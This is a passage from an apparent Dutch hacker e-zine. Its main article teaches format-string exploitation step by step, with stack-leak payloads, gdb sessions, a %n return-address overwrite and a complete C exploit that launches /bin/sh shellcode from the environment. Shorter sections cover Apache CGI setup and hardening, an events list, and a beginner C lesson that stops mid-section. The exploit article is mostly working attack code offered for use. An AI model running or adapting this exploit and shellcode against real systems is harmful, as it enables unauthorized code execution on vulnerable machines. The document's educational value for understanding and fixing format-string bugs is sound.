char name[] = "casper";

printf("Ik ben %f meter lang, mijn naam is %s en ik ben %d jaar op \
deze planeet\n"
, length, name, age);

Net als bij iedere functie worden de argumenten in omgekeerde volgorde op de
stack gepushed, vanuit de printf functie ziet de stack er dan dus ook als
volgt uit:

- ----------------------------------------------------------------------------
bottom of memory top of memory
top of stack bottom of stack

...[local][sfp][ret][&fmt][length][name][age]...
- ----------------------------------------------------------------------------

waarbij [local] de lokale variabelen van printf zijn, [sfb] de saved framepointer
en [ret] het return address waarna printf zal returnen als hij klaar is. Na het
return adres volgen de argumenten van printf: het adres van de formatstring zelf,
de hexadecimale representatie van 1.90, het address van de string "casper" en de
hexadecimale representatie van 20.

De formatfuctie begint met de verwerking van de formatstring door ieder
character stuk voor stuk te bekijken. Als het character niet '%' is, kopiert hij
het character op het scherm. Als het character wel '%' is, bepaalt het daarnavolgende
character hoe de formatstring de parameter gaat benaderen.
Behalve de '%%' string (die gebruikt wordt om het '%' character zelf te schrijven),
bepaalt een formatparameter dus altijd hoe de formatfunctie zijn parameters behandelt.

De formatfunctie houdt zelf een interne pointer bij, die wijst naar zijn
volgende argument. In het bovenstaande voorbeeld wijst deze pointer dus
eerst naar het adres op de stack waar de hexadecimale representatie van 1.90 is
opgeslagen. Als de formatfunctie het speciale teken '%' tegenkomt, bepaalt
hij aan de hand van het daaropvolgende character, in ons voorbeeld de 'f',
hoe hij de parameter waar zijn pointer naar wijst gaat behandelen. Aan de
hand van de %f formatparameter benadert printf zijn parameter als een float,
en drukt deze op het scherm af. Hierna verhoogt hij zijn pointer
met 8 bytes (sizeof(float)), zodat de pointer naar het adres van name
wijst:

- ----------------------------------------------------------------------------
bottom of memory top of memory
top of stack bottom of stack

...[local][sfp][ret][&fmt][length][name][age]...
^ ^
| |
| de format function heeft de formatparameter
| %f afgehandeld, de waarde van variabele
| length op het scherm gezet en daarna zijn
| interne pointer verhoogd met sizeof(float)
| Nu wijst de pointer dus naar het adres van
| name
|
hierna verwijst de interne pointer van de
pointer van de formatfunction VOORDAT hij
aan het parsen van de formatstring begint
- ----------------------------------------------------------------------------

De formatfunctie zal nu de characters ". Mijn " gewoon naar het scherm
echo'en, waarna hij de formatparameter %s tegenkomt. De %s parameter vertelt
de formatfunctie dat hij vanaf geheugen adress 0xaabbccdd (het adres van de
string "casper") alle characters naar het scherm moet kopieeren, totdat hij
een NULL byte tegen komt. Hierna wordt wederom de interne pointer verhoogd
met sizeoff (*char), zodat de pointer naar age wijst.

Aldoende gaat de formatfunctie verder, totdat hij zelf een NULL byte
tegenkomt en exit.


3. Formatstring vulnerabilities
==============================

Als het voor een aanvaller mogelijk is om de gehele, of een deel van de
formatstring die wordt gebruikt voor een van de formatfunctions in te geven,
dan is er een formatstring vulnerabilitie aanwezig. Door deze string te
manipuleren, kan het gedrag van de formatfunctie veranderd worden, en
zodoende kan de aanvaller de controle over de toepassing overnemen. In het
voorbeeld hieronder is duidelijk een formatstring vulnerabilitie aanwezig:

vuln.c :
- -----------------------------------------------------
int main(int argc, char *argv[]) {
printf(argv[1]);
}
- -----------------------------------------------------

Omdat de aanvaller de gehele formatstring -argv[1] in dit geval- kan
bepalen, is het voor deze aanvaller mogelijk om het gedrag van de
formatfunction -printf in dit geval- te veranderen.
Zo is het in het bovenstaande voorbeeld bijvoorbeeld mogelijk om stack
geheugen te bekijken. De pointer van de formatfunctie staat namelijk gericht
op het adres na het adres van de formatstring zelf, ongeacht of er nou
wel of geen extra parameters aan de formatfunctie worden meegegeven. We kunnen in
dit geval de format string zelf bepalen:

gcc -o vuln vuln.c
./vuln '%x.%x.%x.%x'

Hierdoor wordt de volgende function call uitgevoerd:

printf("%x.%x.%x.%x");

Hoewel er aan de formatfunctie geen parameters meegegeven zijn, gaat de
functie wel zoals normaal te werk. Hij zal dus 4 bytes op het scherm
uitprinten, daarna het character '.' afdrukken, dan zijn pointer verhogen
met 4 bytes (sizeof (int)) en deze procedure nog 3 maal herhalen.
Zodoende is het mogelijk om het gehele stack geheugen uit te printen. In het
bovenstaande geval worden echter alleen 4 * 4 = 16 bytes op het scherm
gezet.

Interessanter wordt het echter dat in de meeste gevallen ook de formatstring
ZELF op de stack geplaatst is. Nog een voorbeeld:

./vuln `perl -e 'printf("aaaaaaaa"); for ($n = 0; $n < 50; $n++) { \
printf("%%08x."); }'`

We gebruiken hier perl om de string "aaaaaaaa" gevolgd door 50 maal "%08x."
als argument aan ons vuln programmaatje mee te geven.

............................................................................
In plaats van '%x' gebruiken we nu '%08x', omdat dit altijd een output van 8
chars oplevert, waar %x ook kortere strings kan produceren (aan de hand van wat
er op dat moment op je stack staat. Zo levert 0x132 met '%x' de output 132 op, en
met '%08x' een output van 00000132). Later zal blijken waarom dit handiger is.
............................................................................

Een volgende output is mogelijk

atje@jamaica:~ $./vuln `perl -e 'printf("aaaaaaaa"); for ($n = 0; $n < 50; $n++) { printf("%%08x."); }'`
aaaaaaaa0b0186c0.dfbfdaf8.000017a3.00000000.00000000.dfbfdb34.0000109c.00000002.dfbfdb3c.dfbfdb48.
00002000.0000002f.00000000.00000000.dfbfdff0.0008ba20.000955e2.00000000.00000000.00002000.00000000.
00000002.dfbfdb88.dfbfdb98.00000000.dfbfdc9b.dfbfdca5.dfbfdcb6.dfbfdcc6.dfbfdcd0.dfbfdcf1.dfbfdcfe.
dfbfdd06.dfbfdd16.dfbfdd24.dfbfdd36.dfbfdd41.dfbfdd4c.dfbfdda3.dfbfddb5.00000000.61642f2e.6f666174.
762f7472.006e6c75.61616161.61616161.78383025.3830252e.30252e78.
^
Het begin van de format string zelf!! (immers, de hexedecimale representatie van het
character 'a' is 61)

Hieruit kunnen we de offset vanaf de pointer van de formatfunction tot onze
formatstring bepalen.

............................................................................
opmerking:
Omdat de formatstring ALS hij op de stack staat altijd eerder op de stack is
gepushed dan de argumenten van de formatfunctie, zal deze altijd benaderbaar
zijn via een x aantal stackpops (%x noemen we een stackpop, daar het 4 bytes
van de stack haalt, en zodoende de interne 'stack'pointer van de
formatfunctie verhoogt).
............................................................................


4. De %n formatparameter: Je nieuwe vriend
==========================================

Hoewel door het bekijken van stackmemory al veel waardevolle informatie
achterhaald kan worden over je target applicatie, wordt het pas echt
spannend als we de %n formatparameter introduceren.
De %n parameter schrijft het aantal characters dat de formatfuctie tot dan
toe geoutput heeft naar een addres, als integer.

voorbeeld:

int a = 2002, b;

printf("Jaartal: %d%n\n", a, &b);
printf("b = %d\n", b);

In het bovenstaande voorbeeld zal b de waarde 13 toegeschreven worden: 9
characters zijn geschreven voor de string 'Jaartal: ' en 4 door de string
'2002'

............................................................................
opmerking:
%n schrijft altijd het aantal characters hoevel er geschreven zouden MOETEN
zijn, dit hoeft dus niet overeen te komen met de werkelijke hoeveelheid.
voorbeeld:

int b;
char buf[3];
snprintf(buf, 3, "aaaaa%n", &b);

In het bovenstaande geval wordt toch 5 naar b geschreven, hoewel de
formatfunctie eigenlijk maar 3 bytes heeft geschreven.
............................................................................

Door de eigenschappen van de %n formatparameter, zijn we nu in staat om naar
ieder geheugenaddres te schrijven dat we willen.
Dit doen we als volgt:

- - we beginnen onze formatstring met het geheugenadres waarna we willen
schrijven. Omdat we met een little endian systeem werken beginnen we onze
formatstring bijvoorbeeld met \xdd\xcc\xbb\xaa als we naar adress
0xaabbccdd willen schrijven.
- - daarna zetten we een serie '%08x.' strings in de string, zogenaamde
stackpops, zodat de interne pointer van de formatfunctie naar het begin van
onze formatstring wijst (naar ons adres dus)
- - hierna zetten we de parameter %n zodat het aantal tot dan toe geschreven
characters op ons adres wordt weggeschreven.


Laten we eens proberen om [ret] te overwriten. Daartoe moeten we eerst het
adres van [ret] te zien achterhalen. We proberen het volgende:

./vuln '%n%n%n%n%n'

Hierdoor crashed onze target applicatie. Eerst openen we de gewone binary met gdb:

gdb vuln

Daarna bekijken we de assembly dump van vuln, om de waarde van [ret] te achterhalen:

(gdb) disassemble main
Dump of assembler code for function main:
0x1798 <main>: push %ebp
0x1799 <main+1>: mov %esp,%ebp
0x179b <main+3>: sub $0x8,%esp
0x179e <main+6>: call 0x1838 <__main>
0x17a3 <main+11>: add $0xfffffff4,%esp
0x17a6 <main+14>: mov 0xc(%ebp),%eax
0x17a9 <main+17>: add $0x4,%eax
0x17ac <main+20>: mov (%eax),%edx
0x17ae <main+22>: push %edx
0x17af <main+23>: call 0x2084 <_DYNAMIC+132>
0x17b4 <main+28>: add $0x10,%esp
0x17b7 <main+31>: leave
0x17b8 <main+32>: ret
0x17b9 <main+33>: add %al,(%eax)
0x17bb <main+35>: add %dl,0xffffff89(%ebp)
End of assembler dump.

We zien dat onze formatfunctie op 0x17af gecalled wordt, en dat de eerst
volgende instructie daarna op 0x17b4 staat. De waarde van [ret] zal hier
dus 0x17b4 zijn. Nu laden we de coredump van ons gecrashde programma:

(gdb) core vuln.core
Core was generated by `vuln'.
Program terminated with signal 11, Segmentation fault.
#0 0x40088534 in ?? ()

Met het commando x/200x $esp geven we gdb vervolgens de opdracht om 200 bytes
van zijn stackmemory te dumpen. In deze output gaan we op zoek naar [ret]:

...andere data...
0xdfbfdbe0: 0xdfbfdc50 0xdfbfdc08 0xdfbfdc08 0x000017b4
0xdfbfdbf0: 0xdfbfdca5 0x0b0186c0 0xdfbfdc08 0x000017a3
...andere data...

Hebbes! Het adres van [ret] is dus 0xdfbfdbec. Dit adres zullen we [retloc]
noemen (het adres van [ret]). Nu gaan we dit adres overschrijven
met de hierboven beschreven methode:

./vuln `perl -e 'printf("jjj\xf4\xda\xbf\xdf"); for ($n = 0; $n < 45; $n++)
{ printf("%%08x."); } printf("%%n");'`
Segmentation fault (core dumped)

............................................................................
opmerking:
Merk op dat we hier voor het adress drie junkcharacters neerzetten (jjj in
dit geval). Omdat we met de stackpops alleen per 4 bytes tegelijk kunnen
poppen, kan het zijn dat je niet precies [retloc] kan berijken (namelijk: als
[retloc] op een afstand ligt die niet exact deelbaar is door 4). Door 1, 2 of
3 junkcharacters VOOR ons adres te zetten, kunnen we [retloc] wel in stappen
van 4 bytes bereiken, en werkt onze truuk.
............................................................................
............................................................................
opmerking 2:
Als je goed hebt opgelet zie je dat we in het bovenstaande voorbeeld niet
0xdfbfdbec als [retloc] gebruiken, maar 0xdfbfdaf4. Doordat onze formatstring
iets gewijzigd is, veranderd ook [retloc]. Het kan dus zijn dat je meerdere
malen gdb nodig hebt om je juiste [retloc] te vinden.
............................................................................

Ons programma heeft gesegv'd. We openen de coredump, om te kijken of we
geslaagd zijn in onze opzet:

(gdb) core vuln7.core
(gdb) bt
#0 0x17b7 in ?? ()
Cannot access memory at address 0x199
(gdb) x/x 0xdfbfdaf4
0xdfbfdb60: 0x00000199

Jawel! Het returnadres van printf is overgeschreven met 0x199, hetgeen
inderdaad overeenkomt met het aantal reeds door printf geschreven bytes.


5. Writecode
============

Hoewel we de waarde die %n naar een integerpointer schrijft kunnen aanpassen
door het aantal characters ervoor toe te voegen of weg te halen, is dit niet
erg handig. Gelukkig staat ons hierbij de %nu parameter ter beschikking,
waarbij n vervangen kan worden met het gewenste aantal bytes dat we
geschreven willen hebben. Bijvoorbeeld:

printf("%20u%n", 0x1, a);

De bovenstaande code schrijft 20 in variabele a. Deze methode werkt goed voor
kleine getallen maar is nog niet geschikt voor grotere getallen zoals geheugen adressen.
Gelukkig is het op de meeste CISC architectures (waaronder de i386) mogelijk om naar
unaligned adressen te schrijven.

Bekijk de volgende code:

unsigned char canary[5];
unsigned char foo[4];

memset (foo, '\x00', sizeof(foo));
strcpy (canary, "AAAA"); // voor we beginnen

printf ("%16u%n", 0x1, (int *) &foo[0]); // stap 1
printf ("%32u%n", 0x1, (int *) &foo[1]); // stap 2
printf ("%64u%n", 0x1, (int *) &foo[2]); // stap 3
printf ("%128u%n", 0x1, (int *) &foo[3]); // stap 4

printf ("\nfoo: %02x%02x%02x%02x\n", foo[0], foo[1], foo[2], foo[3]);
printf ("canary: %02x%02x%02x%02x\n", canary[0], canary[1],
canary[2]. canary[3]);

Bovenstaande code zal de output "foo: 10204080" en "canary: 00000041" geven.
We hebben in 4 stappen steeds de least-significant byte van foo overschreven,
en door steeds de pointer te verhogen was het mogelijk om alle 4 bytes volledig
zelf te bepalen. In schema:

stap | foo | canary
- -----+-------------+---------------
0 | 00 00 00 00 | 41 41 41 41 00 <-- voor we beginnen
1 |[10 00 00 00]| 41 41 41 41 00
2 | 10[20 00 00 | 00]41 41 41 00
3 | 10 20[40 00 | 00 00]41 41 00
4 | 10 20 40[80 | 00 00 00]41 00 <-- eindsituatie

In bovenstaand schema is [xx 00 00 00] steeds de byte die we schrijven. Zoals
je ziet schrijven we steeds alleen de least-significant byte (namelijk, de eerste
in onze architectuur), maar door onze writebyte stapsgewijs op te schuiven kunnen
we toch het gehele adres beschrijven. De canary array doet niets in ons voorbeeld,
hij toont alleen aan dat met deze methode ook andere data overschreven wordt.

Dit voorbeeld was een speciaal geval, waarin onze writebytes tijdens het
schrijven steeds groter werden (10.. 20.. 40.. 80). We kunnen echter iedere wille-
keurige byte schrijven (bijvoorbeeld 80 40 20 10) door een kleine aanpassing in
onze writecode te maken. Omdat we integers schrijven en we een little endian
architectuur hebben, is alleen de least-significant byte van belang (zoals we
hierboven al zagen). Door als counters 0x80, 0x140x 0x220 en 0x310 te gebruiken
voor de %n parameter, kunnen we dit doel bereiken.

Om deze taak te vereenvoudigen kunnen we de onderstaande code gebruiken:

write_byte += 0x100;
already_written %= 100;
padding = (write_byte - already_written) % 0x100;
if (padding < 10)
padding += 0x100;

In deze code is 'write_byte' de byte die we willen schrijven, 'already_written'
het aantal reeds geschreven characters door de formatfunctie en 'padding' het
aantal bytes waarme we onze counter moeten verhogen. Bijvoorbeeld:

write_byte = 0x7f;
already_written = 30;

write_byte += 0x100; // nu is write_byte 0x17f
alreadt_written %= 0x100 // already_written is 30

padding = (write_byte - already_written) % 0x100;
// nu is padding 97 (=0x61)

if (padding < 10)
padding += 0x100;

Nu zal de formatparameter '%96u' de %n-counter dusdanig verhogen, dat de
least-significant byte die overschreven wordt de waarde van 'write_byte'
zal hebben.

............................................................................
opmerking:
De laatse regel uit de code roept misschien wat vragen op. Omdat de normale output
van '%u' tot een string van maximaal 10 tekens, willen we zeker zijn dat dit er
ook 10 zijn. Daarom verhogen we de padding met 0x100 als deze kleiner is, dit
is de enige manier om 'already_written' accuraat in de gaten te houden. Dat is tevens
de rede waarom we '%08x' gebruiken voor de stackpops, en niet '%x': alleen op
deze manier kunnen we already_written onafhankelijk van wat er op je stack staat
bepalen.
............................................................................

Op deze wijze is het dus mogelijk om naar ieder mogelijk adres te schrijven,
met een door onszelf gekozen waarde. (gaat hier al een belletje rinkelen? ;-)


6. De Exploit
=============

We kunnen nu naar ieder adress iedere waarde schrijven die we willen. Genoeg
mogelijkheden voor een exploit dus!
We gaan een exploit schrijven voor ons vuln.c programmaatje. Hoewel we de
shellcode ook in de formatstring zelf kunnen plaatsen, maken we het onszelf
makkelijk en plaatsen we deze in de enviroment. Onze formatstring moet er in
schema als volgt uit komen te zien:

[retloc][dummy][retloc + 1][dummy][reloc + 2][dummy][retloc +3]
[dummy][stackpops][writecode]

[retloc] is dan de locatie van het returnaddress van de formatstring, en we
maken de write code zo dat hij het address van onze shellcode op retloc
schrijft.
De [dummy]'s zijn nodig als parameters voor onze '%nu'-formatparameters, en
mogen alles zijn zolang ze maar geen '\0' byte bevatten.

De exploit:

#include <stdio.h>

#define STACKPOPS 43 /* Aantal stackpops wat we nodig hebben voor de */
/* pointer van printf op onze address-dummy-pairs */
/* wijst. */
#define ALW 0x1ae /* Aantal characters dat reeds door de formatfunctie */
/* geschreven is voordat we aan onze writecode beginnen */
#define DUMMY 0xdddddddd /* Dummy-waarde voor onze address-dummy-pairs. */
#define NOP 0x90 /* De opcode voor de NOP instructie. */
#define RETLOC 0xdfbfd6e4 /* Locatie van RET. */
#define RET 0xdfbfd9d4 /* Dit adress schrijven we op RET, wijst ergens in onze */
/* NOPs. */
#define EGGSIZE 1024 /* De grootte van onze $EGG enviroment variable. */

char shellcode[]= "\xeb\x17\x5b\x31\xc0\x88\x43\x07\x89\x5b"
"\x08\x89\x43\x0c\x50\x8d\x53\x08\x52\x53"
"\xb0\x3b\x50\xcd\x80\xe8\xe4\xff\xff\xff"
"/bin/sh";

/*
* Onze padding functie. Berekend aan de hand van de
* byte die we op een address willen schrijven, en het
* aantal bytes dat onze formatfunctie reeds geschreven
* heeft, welke counter we aan onze %nu parameter moeten meegeven.
*/


int padding(int write_byte, int already_written) {
int padding;

write_byte += 0x100;
already_written %= 0x100;
padding = (write_byte - already_written) % 0x100;
if (padding < 10)
padding += 0x100;

return padding;
}

/*
* De main function, het hart van onze exploit.
* Gebruikt alle mechanismen die in dit artikel
* aan bod gekomen zijn.
*/


int main() {
char format[512] = "./vuln ",/* De volledige string die we meegeven aan ons */
/* vulnerable programma. Hierin construeren we */
/* dus ook onze formatstring. */
writecode[8], /* Tijdelijke opslagplaats voor onze '%nu%n' */
/* writecodes. */
egg[EGGSIZE], /* De buffer die we in de enviroment plaatsen. */
/* Bevat NOPs en shellcode. */
*ptr; /* General-purpose pointer. */

int already_written = ALW, /* Counter waarmee we bijhouden hoeveel chars */
/* er al door de formatfunctie zijn geschreven. */
tmp, /* Tijdelijke opslagplaats voor onze paddings. */
i; /* General-purpose counter. */

long *addr_ptr; /* Pointer die we gebruiken om geheugenadressen */
/* in de formatstring te schrijven. */


/*
* We construeren onze $EGG enviroment variabele en
* plaatsen deze in de enviroment:
*/


ptr = egg;
for (i = 0; i < EGGSIZE - strlen(shellcode) -1; i++)
*(ptr++) = NOP;
for (i = 0; i < strlen(shellcode); i++)
*(ptr++) = shellcode[i];
egg[EGGSIZE - 1] = '\0';

memcpy(egg,"EGG=",4);
putenv(egg);

/* We plaatsen een junk character in onze formatstring, omdat
* we anders niet exact op RETLOC uitkomen met onze stackpops: */


strcat(format, "j");

/* We plaatsen de 4 dummy-address pairs: */

ptr = format + 8;
addr_ptr = (long *) ptr;

for (i = 0; i < 4; i++) {
*(addr_ptr++) = RETLOC + i;
*(addr_ptr++) = DUMMY;
}
*(ptr + 32) = 0;

/* We plaatsen de stackpops in de formatstring: */

for (i = 0; i < STACKPOPS; i++)
strcat(format, "%08x.");

/* Hier plaatsen we de daadwerkelijke writecode: */

for (i = 0; i <= 24; i += 8) {
tmp = padding((RET >> i) & 0xff, already_written) + 10;
sprintf(writecode, "%%%du%%n", tmp);
strcat(format, writecode);
already_written += tmp;
}

/* En tot slot geven we onze formatbuffer door aan system, zodat
* we ons vulnerable programma exploiten: */


system(format);
}

We compilen en testen deze exploit:

atje@jamaica:~/ $gcc -o expl expl.c && ./expl
$ exit
atje@jamaica:~/ $

Mission Accomplished! Kleine voetnoot bij deze exploit: daar ik op mijn thuis
systeem OpenBSD gebruik, is de shellcode ook voor dit systeem. Hij zou natuurlijk
met iedere andere shellcode ook werken; houd er echter wel rekening mee dat
per systeem de addressen RET en RETLOC, alsmede het aantal STACKPOPS zullen
verschillen.

7. Tot Slot
===========

In principe zal de in dit artikel behandelde materie voldoende moeten zijn
om alles nu zelf verder te onderzoeken. Eventueel zal ik in eenvolgende H4H
nog een addiectief artikel publiceren met wat extra grappen en grollen als
het aankomt op het exploiten van deze bugs: zo heb ik het in dit artikel nog
niet gehad over (blind) bruteforcing, en het gebruik van deze bug in
combinatie met andere exploiting methodes (GOT overwrite, heap/bss overflow,
returning into libc, enz). In dat artikel zal ik dat ook zaken die het
schrijven van een exploit je iets vergemakkelijken aan de orde stellen
(short-write, direct parameter access)

Mochten er aan de hand van dit artikel nog vragen zijn, wees dan zo vrij om
mij te mailen op czijlstr@science.uva.nl. Ook ben ik bereikbaar voor vragen
en eventuele andere onzin op #netric@irc.rizenet.org.

Tenslotte wil ik nog van de gelegenheid gebruik maken om een aantal mensen
te bedanken. Dit is in de eerste plaats scut van teso, voor zijn heldere
en zeer uitgebreide artikel over dit onderwerp. Dit artikel is voor alle
geineteresseerden een echte must-read.
Afsluitend bedank ik ook nog Laurens voor de altijd boeiende discussie op
irc, en het proeflezen van dit document.

Cheers!
atje


[ Appendix A: Handige links]
============================

[1] scut's artikel: http://www.team-teso.org/articles/formatstring/
[2] dvorak's artikel: http://www.hackers4hackers.org/reader.php?h4h=05&page=11
[3] $home of netric: http://www.netric.org

[ Appendix B: De Formatfunctions ]
=================================

Hieronder een beknopte lijst van de formatfuncties. Bekijk hun man page voor
meer informatie.

fprintf - schrijft naar een FILE stream
printf - schrijft naar de 'stdout' stream
sprintf - schrijft naar een string
snprintf - schrijft naar een string, met length-checking
vfprintf - schrijft naar een FILE stream vanuit een va_arg structure
vprintf - schrijft naar de 'stdout' stream vanuit een va_arg structure
vsprintf - schrijft naar een string vanuit een va_arg structure
vsnprintf- schrijft naar een string vanuit een va_argstructure, met length-checking

Familie functies:

setproctitle - set argv[]
syslog - output naar syslogd

En dan zijn nog overigen als err*, verr*, warn* en vwarn*.


-------------------------------------------------------
07. Common Gateway Interface
-------------------------------------------------------

Voorafje

Na veel kritiek op mijn vorige artikel (ik had het idd grotendeels
overgenomen uit PC-Active,
en had de bron er niet bij vermeld :( mijn excuses hiervoor !!!) zal ik nu
wat over apache en cgi-scripts
gaan vertellen. Ook hier heb ik stukjes uit de PC-Active gehaald. Waarom???
omdat ik vind dat ze
daar alles goed en helder uitleggen. En stukjes uit de Apache manual. Maar
nu wat meer eigen inbreng :)
En tja... h4h = toch ook een beetje spreading knowledge ofniet? Dus nu heb
ik de bronnen vermeld :)

Voorafje2

Ik zal niet ingaan op de taal perl. Zie hiervoor h4h-0F, Perl voor beginners
- deel 1 van Asby
Ik zal hier wel uitleggen hoe je de scrippies aan de pruttel krijgt op je
webserver. En een beetje
basis kennis is altijd wel handig :))

Benodigdheden:

Zorg dat je een webserver hebt. Apache bijvoorbeeld. Ik zelf gebruik
Apache/1.3.22 Server.
En zorg ervoor dat deze cgi/perl kan draaien.
Edit dan het httpd.conf bestand

Bijv: ScriptAlias /cgi-bin/ "/usr/apache/cgi-bin/" [als /usr/apache/ je
apache dir is]
en voeg toe: AddHandler cgi-script .cgi .pl
en in: <Directory /usr/local/apache/htdocs/somedir>
Options +ExecCGI
</Directory>

Je kunt echter ook het bestand .htaccess editen.
Hierin zet je bijv:

AllowOverride Options
Options +ExecCGI

Je kunt echter nog veel meer over cgi instellen. Zoek maar eens naar alle
"cgi" woorden in je httpd.conf

CGI 

Cgi staat voor: Common Gateway Interface
Veel CGI en PERL scripts vind je gratis op internet. Let echter wel op wat
je downl. CGI/PERL scripts
kunnen nogal eens vulnerable zijn. Zie het artikel cgi exploits uit h4h-04.
cgi scripts zijn gewoon tekstbestanden dus je kunt ze openen/editen in
notepad.. of je favoriete
textverwerker. Heb je nu een script gedownload dan edit je eerst deze .cgi
file.
Meestal vind je dan bovenaan de scripttaal Perl.
Kijken we naar de "printenv" die bij Apache standaard wordt meegeleverd dan
zien we:

#!/usr/bin/perl [deze regel moet je aanpassen naar de directory waar je perl
geinstalleert is]
[weet je dit niet doe dan eens: [root@Donald /]# whereis perl ]
[en in mijn geval zie ik dan: perl: /usr/bin/perl ]

Zet dan het script in je cgi-bin directory.
Start Apache en doe in je browser: http://<je_ip>/cgi-bin/printenv
Je zult dan zien: Forbidden, You don't have permission to access
/cgi-bin/printenv on this server.
Mhzz.. we zullen het script dus eerst rechten moeten geven.
Dit doen we d.m.v. het chmod commando
Er zijn drie types file permissions. Dit zijn read(r), write(w) en
execute(x)
| | |
Elk van deze rechten hebben een getal: 4 2 1

De rechten zijn dan:
0 = no access
1 = execute only
2 = write only
3 = write and execute (1+2)
4 = read only
5 = read and execute (4+1)
6 = read and write (4+2)
7 = read and write and execute (4+2+1) [meestal alleen aan de root gegeven]

Deze drie rechten hebben weer betrekking op drie usersgroepen:
Owner, Group en Other
Een voorbeeldje:
de owner krijgt read, write en execute, de group read en execute en other
geen rechten. Dan krijgen we dus
750 [(4+2+1) en (4+1) en (0)]

Okey dat was het wat betreft de rechten. Waar waren we ook alweer....
oja.... cgi script rechten geven
We willen nu dus het printenv rechten geven zodat je geen
You don't have permission to access /cgi-bin/printenv on this server melding
krijgt :)
dus ik geef um de rechten: chmod 744

dit doe je d.m.v. [root@Donald /]# chmod 755 /usr/apache/cgi-bin/
en [root@Donald /]# chmod 755 /usr/apache/cgi-bin/printenv

Restart je Apache servertje en je opent in je browser:
http://<je_ip>/cgi-bin/printenv
en het printenv scrippie wordt geopend.
Het is wel verstandig om deze test scrippies weer te verwijderen. Iedereen
kan nu namelijk info zien
over je web-servertje. En ze zijn vulnerable.

APACHE

Okey.. dan wat basic info om je Apache webservertje te securen.
Het is verstandig om een goede firewall te installen, vooral als je met
Apache het inet op gaat. PMFIREWALL is een goede, en ik raad je deze dan ook
aan. Vooral omdat hij ook
voor de linux newbie goed te configureren is.

Verder kun je je Apache ook Authorizen. Zodat alleen jij toegang hebt tot je
Servertje :)
Dit doen we d.m.v. htpasswd (htdigest is ook mogelijk, maar ik gebruik nu
htpasswd)
We doen:
[root@Donald bin]# /usr/apache/bin/htpasswd -c apachepasswd razor
New password:
Re-type new password:

Zorg ervoor dat de apachepasswd niet in je document directorie zit. Dit zou
wel eens vervelend kunnen
worden :))

Dan editen we nu de httpd.conf in de conf directory.
En voegen we toe ergens in een directory:
(ik heb um in <Directory "/usr/apache/htdocs"> staan.

AuthName "Login op mijn Servertje"
AuthType Basic
AuthUserFile /usr/apache/bin/apachepasswd
require user razor

Als je nu http://<je_ip> intypt dan zul je zien dat hij nu om een wachtwoord
vraagt.

Dit was het voor deze keer.. Als jullie het interessant vonden dan komt er
misschien een vervolg..
Maar dat hoor ik dan wel van jullie :)

R4z0r_
razor@bospop.com
grtz: to iedereen die ik ken van irc !!!


-------------------------------------------------------
08. Evenementen
-------------------------------------------------------

Congres & Expo Voice-over-IP

Tijdens dit ééndaagse GRATIS congres zullen praktijkervaringen,
belangrijke trends en de laatste ontwikkelingen op het gebied
van VoIP de revue passeren. Zowel de gebruikers, leveranciers
als de adviseurs zullen de deelnemers informeren en adviseren

URL: http://www.infocare.com/events/VoIP2002.html
Datum: 8 mei 2002
Locatie: Rotterdam

--
PKI 2002

Het congres is bedoeld voor diegenen die een beveilingsstrategie
moeten bepalen, aanbevelen, gaan invoeren of in stand moeten
houden. We denken aan de volgende branches: overheid en
semi-overheid, financiële instellingen (banken en
verzekeringsmaatschappijen), multinationals, management consultancy,
retail, gezondheidszorg, handel, industrie en dienstverlening.

URL: http://www.infocare.com/events/pki.html
Datum: 23 mei 2002
Locatie:Hoevelaken

--
RAW 2002

Demo-scene evenement

URL: http://www.raw.scene.org
Datum: 24/25/26 mei 2002
Locatie: Den Haag

--
Outerbrains 2K2

Outerbrains 2K2 is de opvolger van Bizarre en voor een groot deel door H4H georganiseerd.
Het is een competitie gebaseerd evenement, dat betekend dat er diverse wedstrijden op gebied van
zowel de demo-scene als hackers-scene zullen plaatsvinden. Hierbij is te denken aan diverse
programmeer wedstrijden voor realtime 3d presentaties, muziek competities, computer getekende
afbeeldingen en algoritme hacks. In iedergeval 3 dagen non-stop plezier!

URL: http://www.outerbrains.nl
Datum: 27/28/29 Sept. 2002
Locatie: Etten-Leur (NB)

--
Dit zijn de evenementen voor de komende periode. Mochten we evenementen
gemist hebben en waarvan jij vindt dat ze er bij moeten staan mail dat dan naar
h4h-redactie@hackers4hackers.org


-------------------------------------------------------
09. Programmeren in C
-------------------------------------------------------

Voorafje
--------

Na het terug lezen van alle h4h's kwam ik interessante artikelen tegen van
Tozz over programmeren in C.
Ik heb ze allemaal gelezen en vond het erg jammer dat er geen nieuwe
artikelen meer kwamen over C.
Ik ben zelf ook een totale newbie in het programmeren van C, maar wil het
wel graag leren.
Dus /me d8: pak het Teach yourself C in 24H boek erbij en begin te lezen /
leren / vertalen / schrijven.
Ik ga hier dan ook verder waar Tozz gestopt was. Dus lees deze eerst (ze
staan in h4h-06 en h4h-0A)


Random Blaat
------------

Dit artikel is een vertaling uit het boek: Teach yourself C in 24 Hours. De
voorbeelden komen ook uit dit boek.
Het zou dus kunnen dat er typos instaan en tevens staan er engelse woorden
in die moeilijk te vertalen zijn in het
Nederlands, omdat ze anders niet klinken of omdat het anders nergens meer op
slaat :)
Alles wat je hier leest en uitvoert is op je eigen risico en ik ben nergens
aansprakelijk voor.
Maar als je gewoon doet wat ik hier schrijf dan kan er opzich weinig
gebeuren...
maar je bent alvast gewaarschuwd..... ik ben nergens voor aansprakelijk :)


Data types
----------

Zoals gezegd gaan we dus verder waar Tozz gestopt was. Data types. Er zijn
veel data types (zie h4h-0A, Tozz)
zoals:

char
int
float

char is al besproken. Dus gaan we verder met int.
Je kunt een variabele van het type int op eenzelfde manier toewijzen als met
char.
Dus als volgt:

int variabelenaam;

en bij meer dan 1 variabele doe je

int variabelenaam1;
int variabelenaam2;
int variabelenaam3;

of je doet

int variabelenaam1, variabelenaam2, variabelenaam3;

Zoals je bij char %c gebruikt om aan de printf() functie door te geven dat
het hier om een character gaat,
gebruik je bij de integer de %d

een voorbeeldje:

1: /* 04L03.c: Laat de numerieke waarde van de characters zien */
2: #include <stdio.h>
3:
4: main()
5: {
6: char c1;
7: char c2;
8:
9: c1 = `A';
10: c2 = `a';
11: printf("The numerieke waarde van A is: %d.\n", c1);
12: printf("The numerieke waarde van a is: %d.\n", c2);
13: return 0;
14: }

Heb je gezien dat bij het voorbeeld van de char (Tozz's artikel) je met %c
gewoon als ouput A en a krijgt,
en dat je nu (door gebruik te maken van de integer) als output krijgt:
De numerieke waarde van A is: 65.
De numerieke waarde van a is: 97.
Zoals je weet zijn de waarde 65 en 97 de characters A en a in de ASCII
character lijst.

Het Float data type:

